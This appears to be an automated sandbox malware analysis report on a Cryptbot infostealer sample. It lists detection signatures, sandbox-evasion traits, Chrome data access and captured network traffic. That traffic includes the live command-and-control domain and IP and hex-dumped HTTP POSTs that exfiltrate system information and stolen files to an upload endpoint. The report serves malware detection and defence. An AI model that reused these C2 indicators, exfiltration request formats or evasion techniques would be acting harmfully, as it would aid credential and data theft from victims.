Windows Analysis Report
mPQW1NB2Px.exe

Overview

General Information

Sample name: mPQW1NB2Px.exe
renamed because original name is a hash value
Original sample name: 2b39bc094a36c474dea04d0bb8e22356.exe
Analysis ID: 1579684
MD5: 2b39bc094a36c474dea04d0bb8e22356
SHA1: 115e4f12506c0fdf4db9b19c94e526040c94cf02
SHA256: 6bc9ae5b97c21197dbec153f9d9420d7c5976ecf5ad1a40449474c019006db98
Tags: exeuser-abuse_ch
Infos:

Detection

Clipboard Hijacker, Cryptbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Attempt to bypass Chrome Application-Bound Encryption
Found malware configuration
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Clipboard Hijacker
Yara detected Cryptbot
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Drops large PE files
Found evasive API chain (may stop execution after checking mutex)
Found stalling execution ending in API Sleep call
Hides threads from debuggers
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Detected potential crypto function
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: mPQW1NB2Px.exe Avira: detected
Found malware configuration
Source: mPQW1NB2Px.exe.7296.0.memstrmin Malware Configuration Extractor: Cryptbot {"C2 list": ["home.twentytk20ht.top"]}
Multi AV Scanner detection for submitted file
Source: mPQW1NB2Px.exe Virustotal: Detection: 56% Perma Link
Source: mPQW1NB2Px.exe ReversingLabs: Detection: 68%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: mPQW1NB2Px.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_005315B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 9_2_005315B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7614B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 9_2_6C7614B0
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_f9492060-9
Uses 32bit PE files
Source: mPQW1NB2Px.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\.ms-ad\ Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\ Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\ Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\Google\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea ecx, dword ptr [esp+04h] 9_2_005381E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C7DAEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C7DAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C7DAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C780860
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C78A970
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C78A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C78A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C83F960h 9_2_6C77EB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 9_2_6C8084A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C784453
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C78C510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C78A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C78A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C78A580
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C78E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C78E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C780740
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, ecx 9_2_6C800730
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C7DC040
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+04h] 9_2_6C7BA1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C7DC1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C780260
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [6C83D014h] 9_2_6C834360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C7DBD10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C7D7D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 9_2_6C7D3840
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+04h] 9_2_6C78D974
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C7B9B60
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C79BBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C79BBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C7DB4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C78D504
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+0Ch] 9_2_6C78D674
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 9_2_6C7D9600
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C83DFF4h 9_2_6C7D3690
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+08h] 9_2_6C78D7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C77B1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 9_2_6C803140
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C78D2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 9_2_6C7F7350
Source: chrome.exe Memory has grown: Private usage: 1MB later: 27MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49793 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49831 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.9:49800 -> 185.121.15.192:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: home.twentytk20ht.top
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 559614Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 39 33 35 34 36 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=135p0O3wB0kICIEl1734935472 HTTP/1.1Host: home.twentytk20ht.topAccept: */*
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------3wkYM2eJLbObdmUW4PrAJGData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 77 6b 59 4d 32 65 4a 4c 62 4f 62 64 6d 55 57 34 50 72 41 4a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 69 76 65 6d 75 6b 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a e2 af c6 8f 64 20 79 6f df 3f 90 18 c5 09 3c 8e d7 e5 d9 15 80 a4 b5 a1 a2 3d 1f d6 6d 25 92 8d 4a e8 2e 78 bf 19 d6 d1 03 e6 48 54 eb e0 78 59 ad 68 15 7f db 66 28 f1 d0 6a bd 7d 85 f2 dd 2e 69 3d 36 ef 92 04 31 a5 01 b9 2d d8 9f 91 5f ba 1f cb bd 1f 1e b4 b6 38 0b ad 55 30 96 68 03 d7 bc f5 7f 89 fd f2 83 b6 2c 2a 6c 50 da e7 c2 55 6a a8 7d 26 49 4c 4b c8 d3 0b bc 97 33 fb d3 bf 69 1b 3f 6a 73 b7 83 11 95 02 e3 fc cd fd 23 80 df d3 73 e8 da dc 60 0b c7 f2 fe a9 d3 20 dc 3b bd 1b 5f 6e eb 49 5d 15 59 5a 27 5e 6e 51 46 b3 da a4 14 1e 06 00 ed f7 f4 93 69 26 6e f2 bb 70 fc 6f d1 b3 43 b4 d9 c7 e5 59 90 31 a2 6e 36 81 b7 36 f7 b0 6e bd 9c ac 4b 9e 19 7f e5 76 59 0b af 85 e9 2c 63 fc 65 46 ff cb 12 46 36 cc 80 9e 59 35 c3 18 75 5e 30 be 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 77 6b 59 4d 32 65 4a 4c 62 4f 62 64 6d 55 57 34 50 72 41 4a 47 2d 2d 0d 0a Data Ascii: --------------------------3wkYM2eJLbObdmUW4PrAJGContent-Disposition: form-data; name="file"; filename="Fivemuki.bin"Content-Type: application/octet-streamd yo?<=m%J.xHTxYhf(j}.i=61-_8U0h,*lPUj}&ILK3i?js#s` ;_nI]YZ'^nQFi&npoCY1n66nKvY,ceFF6Y5u^0--------------------------3wkYM2eJLbObdmUW4PrAJG--
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 89875Content-Type: multipart/form-data; boundary=------------------------3hEgKkAzkudq78BRavHrNoData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 68 45 67 4b 6b 41 7a 6b 75 64 71 37 38 42 52 61 76 48 72 4e 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6f 73 69 73 61 6c 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 2b 60 d3 a7 66 83 fa f4 52 90 64 ed 38 61 d7 6c c1 7b 85 80 c7 fb 31 af 5f 82 fa c6 86 91 16 5a e2 b0 82 f8 a5 9e b4 a7 23 a0 3e 70 a0 45 fb 09 88 5c 7c 18 c4 74 23 75 3d a8 31 5c 3b 28 5b ea a5 4e a4 13 f4 50 de cd 62 ae de 0f 50 c9 7e 7f c1 48 12 e5 47 e0 d4 b3 93 92 dd 10 17 a5 5d 2e 7c 4c 98 86 68 63 ef c0 b5 b5 df 1a aa 4e 61 14 4f 40 2e d3 92 31 3b 23 ad 15 96 65 ec 94 ec f3 3b 32 86 82 50 f9 bc 11 55 53 8b 4b c0 49 73 1d 42 80 59 5d 65 98 fe cd 58 f3 55 b2 0c 03 d0 b4 df 50 4d d9 fb fb 71 18 a0 4c 42 8f ea ac 5c 11 e2 a8 08 d0 1d af 28 df ed ef fb af 67 8a 66 5b 15 67 76 eb f8 35 a0 e1 b1 03 ba b9 aa d1 2f 87 20 32 89 ce 76 ac b0 5f 66 8b 0d b8 10 d5 62 13 19 95 1b 46 3e 04 58 4f 28 12 0f 37 2b b5 7d b6 53 16 cb 7e 62 06 04 85 16 6e a3 57 e0 0c 05 93 8e bf ff 67 c4 fb 7f f6 1c 2b 81 c6 08 e4 ff 91 a6 0f 05 9f 1a 7c 6e f9 02 5c 19 1b b8 b9 1c 5f ed fc 09 44 68 22 93 1e b9 74 bf cf ed d4 a8 d3 c9 54 ff 23 c8 91 d8 a2 61 cc de 07 ec 55 b9 89 d6 97 dc 77 28 e5 96 94 ee a7 08 46 bb 40 f3 f1 46 cc df 3d 28 2c f2 86 48 d5 24 21 76 79 c7 e5 44 cf 76 42 9d db 5f 52 0a 7b 45 a9 99 ad 81 ba ce c0 85 e7 0b c5 8c 36 ad 6c 32 b3 52 21 7e 7e aa b5 f3 49 c0 97 17 8e c6 29 ef 5c cb e9 3d 33 1b 20 4e 34 cb 9f ef 07 8c a5 81 5e 13 94 31 3a 65 e0 58 40 34 2b 82 67 0f 0c b6 6f 4a 5f 33 d1 4d ca c5 81 d4 30 c4 3a 43 5d e0 a5 ae b6 9c 37 15 46 e9 e4 3b cb bc c1 8a 93 07 0e 5b 2f bd 05 f1 f7 24 fe 76 01 1c 89 bc dd ce 9c ae 5e 16 66 84 97 4c 49 a5 6c 93 3b 21 9d 98 35 12 c3 02 a7 51 4f 04 bf b6 ec ac f8 64 a7 75 43 77 d7 fe 77 6f bd 7d da 24 71 7a a4 49 8d 22 35 8f 73 37 b2 34 7c 9d b0 25 5e c2 d5 a9 38 62 1c 9c 37 98 8e 3d c5 a3 12 0a ad d9 e7 ef ea 22 04 36 4e 79 b8 61 a3 67 42 37 c0 d9 18 b2 ce 3e 53 53 bb c1 21 8f 8d 19 ef 0c f6 c7 32 8e 42 9f f0 f2 60 fc c3 41 19 51 cc 40 ba bd ec 77 18 a7 62 cc 50 0c 64 f4 c6 9c 9c c9 16 59 ab f7 60 d1 ac e7 f9 c5 32 21 fb 0b d6 3c e7 12 21 0e fd 0e 11 cf 65 07 d1 71 0c ac 26 27 7a a7 5d 23 f8 d1 c7 87 86 89 3c 2e 80 90 83 66 05 6c 39 8d c1 a3 24 6f d9 b6 10 7b 39 52 b4 ab 51 93 e3 d4 af 88 2c 44 c4 63 ce f9 d8 e6 e2 00 60 d3 47 8c c5 98 5f 6a 89 d0 f2 f4 fc ea 02 6d 9b 8d ab d1 a6 d1 43 b3 e8 11 f0 b6 85 99 22 21 fd b8 88 a2 6f 37 af 23 20 25 cd 6c 56 1c 5a 25 f6 22 52 80 ef 54 a6 4e 47 0f a1 58 d8 22 e8 ba ec 70 ba de ea 19 c4 1a 29 fa 54 b0 22 28 7c 7d 17 c9
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 32552Content-Type: multipart/form-data; boundary=------------------------9bzvE8fbOCnsbcqYZwejtXData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 62 7a 76 45 38 66 62 4f 43 6e 73 62 63 71 59 5a 77 65 6a 74 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 61 78 6f 6d 61 64 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4e 19 2c e6 df 1c 78 ac 41 04 fa ef 6a e5 4c 4d 3a 11 fe 78 f9 44 3f cb 27 fe 90 dd 78 66 17 a4 cc 99 69 da be a2 18 72 18 40 de 27 89 c2 66 88 2a 41 bd cb bd c1 32 8f e4 31 bf e6 37 97 81 c7 fc 67 07 fe 10 f7 11 6b 38 1e 37 8f 1b 9d 87 e3 3a b9 ef 76 82 e6 f6 cb 67 89 d6 19 05 fc fb 8e e2 5a e1 ed ff 2e 60 4e 1e 36 95 6a 45 b3 99 ac 50 92 59 de aa a5 14 a3 23 cc f5 18 ae c0 8f 68 7a 12 0d ab d6 1c c8 35 b6 6b 6f 7e e7 9a 2a a2 3e 26 04 0c 6f e1 6d 18 dd 4d 7c 91 76 52 7c ad 76 f1 18 9c 12 6d d8 fa 13 ed 91 29 4f 51 35 ae 88 8e f3 d7 a1 80 1d 3b f7 b6 9a d7 2f b2 a4 1c 88 07 77 87 ec 1e c4 b9 cb 76 07 6a f9 05 18 06 3a e5 35 3d 66 cd 7a b0 40 c6 e6 4e dc d0 d8 2f fb 60 c3 f0 4e f2 03 31 0a 33 c2 2f ed 54 38 f6 00 c4 7a 97 8c 2d 91 78 4f 2b 7a 72 6f 31 6f 23 b3 f3 a4 f2 81 2e 74 e7 9f e8 3e 23 50 b0 84 68 5b 65 13 3a 04 ea 9a 23 6d c2 30 71 e4 88 69 fa b4 07 55 08 56 0d db c5 1e 78 66 73 22 ad 1d 11 47 ce 3f 47 02 ca 87 90 d0 4a 93 53 a5 33 30 7a b1 a2 9f 1a 6a 0e 3f 5a c7 88 e7 83 ee b5 bf 28 69 45 b0 19 21 36 5b f3 95 ca 68 84 64 24 2e 57 48 4f b6 90 c5 eb ff 80 ce 4d 09 f2 40 ce 14 9c 7b a0 ec f7 41 cd 93 87 10 44 20 8c 8d 5c 8c 4b e5 46 c0 f3 33 d9 c6 6c ed 21 8b bc ac c9 e9 8f 7e 09 d1 6d 66 4d f6 23 e3 19 79 25 ef a9 96 2a e7 91 48 40 00 3b 06 6b 8a 04 07 f0 4e b8 64 25 e9 f8 f5 d3 02 a2 06 01 2b d0 bd 8c 25 03 3e f9 4c 2e c0 07 af 07 0d b9 33 62 15 c0 26 98 4b ea c5 08 65 df 3f a8 4f de ee 0a 57 28 84 05 d4 15 f8 db 38 d5 f8 02 f4 79 42 07 e4 91 4e c5 6b f6 d0 81 8a 76 56 04 76 c3 2d 28 2a 9e 0b 2e 19 01 1f 7e b3 4e 56 8f ab 06 6a 17 22 6c ac 82 76 ea a6 ce 27 fc d6 17 52 f9 d7 e6 03 64 a3 21 86 42 e7 a0 0c 49 3e 60 97 48 5c ce 8c 6f 7b d5 0b 2d 6f aa 76 03 e1 58 16 72 97 0b bb cf 57 4e 73 0c bf 3d db e1 28 40 fe 7d 42 b4 7b c7 79 55 7d 9e af 09 3e 05 45 0f 0b 97 d0 f0 7f f6 26 6d a4 d1 05 57 3e 75 c8 70 9a f4 5e 9d c8 3c 96 92 f7 9b 59 59 0c 47 8d 4a 17 80 30 c1 29 1d d0 a2 61 95 5d db f2 fd 6f ac 92 15 99 22 49 74 b0 d7 c9 14 c2 43 5b 27 9a f4 48 ac 6f 83 48 9f 96 5c 5b 77 e5 0f 83 c4 2c e6 32 a1 d4 9a fc ce 92 5f 8f c7 bd 3c 36 15 bb ef 21 74 13 a4 18 22 c2 a4 e9 8a 39 c4 b8 a4 f8 aa a7 f3 6e 00 99 06 06 79 88 3e 24 b4 15 e9 df 55 1a 19 c1 06 a5 1d 46 ec da 5d 38 07 3a cf 4b ab 75 7a ba b7 52 5d 59 db df 2c af 52 3c 9c 56 11 13 b6 9f af c5 c6 75 ce f4 37 1c 06 05 4b 5c 59
Source: global traffic HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 31 33 35 70 30 4f 33 77 42 30 6b 49 43 49 45 6c 31 37 33 34 39 33 35 34 37 32 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "135p0O3wB0kICIEl1734935472", "data": "Done2" }
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.121.15.192 185.121.15.192
Source: Joe Sandbox View IP Address: 34.226.108.155 34.226.108.155
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
